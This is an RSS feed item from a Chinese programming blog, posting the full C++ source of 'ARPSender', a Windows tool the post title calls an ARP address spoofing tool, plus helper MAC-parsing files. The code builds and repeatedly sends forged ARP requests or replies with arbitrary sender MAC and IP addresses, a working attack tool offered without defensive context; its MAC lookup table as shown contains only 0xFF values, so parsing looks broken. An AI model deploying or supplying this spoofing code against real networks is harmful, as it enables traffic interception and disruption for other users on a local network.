﻿<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>学习日记 &#187; arp</title>
	<atom:link href="https://www.softwareace.cn/?feed=rss2&#038;tag=arp" rel="self" type="application/rss+xml" />
	<link>https://www.softwareace.cn</link>
	<description>时刻想着为自己的产品多做一些对他好的事情</description>
	<lastBuildDate>Fri, 20 Mar 2026 06:58:28 +0000</lastBuildDate>
	<language>zh-CN</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	
	<item>
		<title>Arp地址欺骗工具arpsend代码</title>
		<link>https://www.softwareace.cn/?p=625</link>
		<comments>https://www.softwareace.cn/?p=625#comments</comments>
		<pubDate>Thu, 17 Oct 2013 05:55:31 +0000</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>
				<category><![CDATA[net work]]></category>
		<category><![CDATA[arp]]></category>

		<guid isPermaLink="false">http://www.softwareace.cn/?p=625</guid>
		<description><![CDATA[ARPSender.cpp [crayon-69fbb87c8a4a6854366016/] Mac.cpp  [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>ARPSender.cpp</p><pre class="crayon-plain-tag">////////////////////////////////////////////////////////////////////////////////
//    
//    ARPSender
//    
//    File    : ARPSender.cpp
//    Comment  : A program for sending ARP packet
//    
//    Created at : 2002.8.6
//    Created by : Refdom
//        Email      : [email]refdom@263.net[/email]
//        Home Page : [url]www.opengram.com[/url]
//
//        If you modify the code, or add more functions, please email me a copy.
//    
////////////////////////////////////////////////////////////////////////////////

#include "Mac.h"
#include &lt;stdio.h&gt;
#include &lt;conio.h&gt;
#include &lt;windows.h&gt;
#include &lt;Packet32.h&gt;

#pragma comment (lib, "ws2_32.lib")
#pragma comment (lib, "packet.lib")

#define EPT_IP        0x0800            /* type: IP    */
#define EPT_ARP        0x0806            /* type: ARP */
#define EPT_RARP    0x8035            /* type: RARP */
#define ARP_HARDWARE 0x0001            /* Dummy type for 802.3 frames  */
#define    ARP_REQUEST    0x0001            /* ARP request */
#define    ARP_REPLY    0x0002            /* ARP reply */

#define Max_Num_Adapter 10

#pragma pack(push, 1)

typedef struct ehhdr 
{
    unsigned char    eh_dst[6];        /* destination ethernet addrress */
    unsigned char    eh_src[6];        /* source ethernet addresss */
    unsigned short    eh_type;        /* ethernet pachet type    */
}EHHDR, *PEHHDR;

typedef struct arphdr
{
    unsigned short    arp_hrd;            /* format of hardware address */
    unsigned short    arp_pro;            /* format of protocol address */
    unsigned char    arp_hln;            /* length of hardware address */
    unsigned char    arp_pln;            /* length of protocol address */
    unsigned short    arp_op;                /* ARP/RARP operation */

    unsigned char    arp_sha[6];            /* sender hardware address */
    unsigned long    arp_spa;            /* sender protocol address */
    unsigned char    arp_tha[6];            /* target hardware address */
    unsigned long    arp_tpa;            /* target protocol address */
}ARPHDR, *PARPHDR;

typedef struct arpPacket
{
    EHHDR    ehhdr;
    ARPHDR    arphdr;
} ARPPACKET, *PARPPACKET;

#pragma pack(pop)

void Usage()
{
    printf("******************************************\n");
    printf("ARPSender\n");
    printf("\t Written by Refdom\n");
    printf("\t Email: [email]refdom@263.net[/email]\n");
    printf("\n");
    printf("Usage: ARPSender.exe sha spa tha tpa arp_op times\n");
    printf("\nComment:\n");
    printf("\tsha:the MAC address of packet sender, eg:AAAAAABBBBBB\n");
    printf("\tspa:the IP address of packet sender, eg:192.168.1.1\n");
    printf("\ttha:the MAC address of target\n");
    printf("\ttpa:the IP address of target\n");
    printf("\tarp_op: the operation of ARP, 1:request, 2:reply\n");
    printf("\ttimes: the times of sending ARP packet.(int)\n");
    printf("*******************************************\n");
}

int main(int argc, char* argv[])
{
    static char AdapterList[Max_Num_Adapter][1024];    
    char szPacketBuf[600];
    char MacAddr[6];

    LPADAPTER    lpAdapter;
    LPPACKET    lpPacket;
    WCHAR        AdapterName[2048];
    WCHAR        *temp,*temp1;
    ARPPACKET ARPPacket;

    ULONG AdapterLength = 1024;

    int AdapterNum = 0;
    int nRetCode, i;
    int nARPOP = 0;
    int nTimes = 0;
    int nAdapter = 0;

    Usage();
    if (argc &lt; 7)
    {
        return 0;
    }

    nARPOP = atoi(argv[5]);
    if (!(nARPOP == 1 || nARPOP == 2))
    {
        printf("\nPlease enter the ARP op!\n");
    }

    nTimes = atoi(argv[6]);
    if (nTimes &lt;= 0)
    {
        nTimes = 1;
    }

    //Get The list of Adapter
    if(PacketGetAdapterNames((char*)AdapterName, &amp;AdapterLength) == FALSE)
    {
        printf("Unable to retrieve the list of the adapters!\n");
        return 0;
    }

    temp = AdapterName;
    temp1=AdapterName;
    i = 0;
    while ((*temp != &amp;#39;\0&amp;#39;)||(*(temp-1) != &amp;#39;\0&amp;#39;))
    {
        if (*temp == &amp;#39;\0&amp;#39;) 
        {
            memcpy(AdapterList[i],temp1,(temp-temp1)*2);
            temp1=temp+1;
            i++;
        }

        temp++;
    }

    AdapterNum = i;
    for (i = 0; i &lt; AdapterNum; i++)
    {
        wprintf(L"\n%d- %s\n", i+1, AdapterList[i]);
    }

    while((nAdapter &lt;= 0) || (nAdapter &gt; AdapterNum))
    {
        printf("\nPlease choose your Adapter:");
        scanf("%1d", &amp;nAdapter);
    }

    printf("\n");

    //Default open the 0
    lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[nAdapter - 1]);
    if (!lpAdapter || (lpAdapter-&gt;hFile == INVALID_HANDLE_VALUE))
    {
        nRetCode = GetLastError();
        printf("Unable to open the driver, Error Code : %lx\n", nRetCode);
        return 0;
    }

    lpPacket = PacketAllocatePacket();
    if(lpPacket == NULL)
    {
        printf("\nError:failed to allocate the LPPACKET structure.");
        return 0;
    }

    ZeroMemory(szPacketBuf, sizeof(szPacketBuf));

    if (!GetMacAddr(argv[3], MacAddr))
    {
        printf ("Get Mac address error!\n");
        return 0;
    }
    memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6);

    if (!GetMacAddr(argv[1], MacAddr))
    {
        printf ("Get Mac address error!\n");
        return 0;
    }
    memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6);

    ARPPacket.ehhdr.eh_type = htons(EPT_ARP);

    ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);
    ARPPacket.arphdr.arp_pro = htons(EPT_IP);
    ARPPacket.arphdr.arp_hln = 6;
    ARPPacket.arphdr.arp_pln = 4;
    ARPPacket.arphdr.arp_op = htons(nARPOP);

    if (!GetMacAddr(argv[1], MacAddr))
    {
        printf ("Get Mac address error!\n");
        return 0;
    }
    memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6);

    ARPPacket.arphdr.arp_spa = inet_addr(argv[2]);

    if (!GetMacAddr(argv[3], MacAddr))
    {
        printf ("Get Mac address error!\n");
        return 0;
    }
    memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6);

    ARPPacket.arphdr.arp_tpa = inet_addr(argv[4]);

    memcpy(szPacketBuf, (char*)&amp;ARPPacket, sizeof(ARPPacket));
    PacketInitPacket(lpPacket, szPacketBuf, 60);

    if(PacketSetNumWrites(lpAdapter, 1)==FALSE)
    {
        printf("warning: Unable to send more than one packet in a single write!\n");
    }

    for (i = 1; i &lt;= nTimes; i++)
    {
        Sleep(10);

        if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)
        {
            printf("Error sending the packets!\n");
            return 0;
        }
        printf(".");
    }

    printf("\n");

    printf ("\nSend ok!\n");

    // close the adapter and exit
    PacketFreePacket(lpPacket);
    PacketCloseAdapter(lpAdapter);

    return 0;
}</pre><p>Mac.cpp</p><pre class="crayon-plain-tag">#include "stdafx.h"
#include "Mac.h"
#include &lt;windows.h&gt;
//#include "stdlib.h"

USHORT CT[256]={
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF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0xFF,
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
    };

int StringToInt(char* String)
{
    int nRetCode;

    nRetCode = CT[*String];
    nRetCode = (nRetCode * 16) + CT[*(String + 1)];
    return nRetCode;
}

bool GetMacAddr(char* szMacAddr_String, char* MacAddr)
{
    int i;
    char szTemp[2];
    for (i = 0; i &lt; 6; i++)
    {
        //szTemp = {0};
        szTemp[0] = *(szMacAddr_String + (2 * i));
        szTemp[1] = *(szMacAddr_String + (2 * i) + 1);
        *(MacAddr + i) = StringToInt(szTemp);
        if (*(MacAddr + i) &gt; 0xFF)
            return false;
    }
    return true;
}</pre><p>Mac.h</p><pre class="crayon-plain-tag">#ifndef _MAC_H_
#define _MAC_H_

//#include &lt;windows.h&gt;

int StringToInt(char* String);
bool GetMacAddr(char* szMacAddr_String, char* MacAddr);

#endif</pre><p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>https://www.softwareace.cn/?feed=rss2&#038;p=625</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
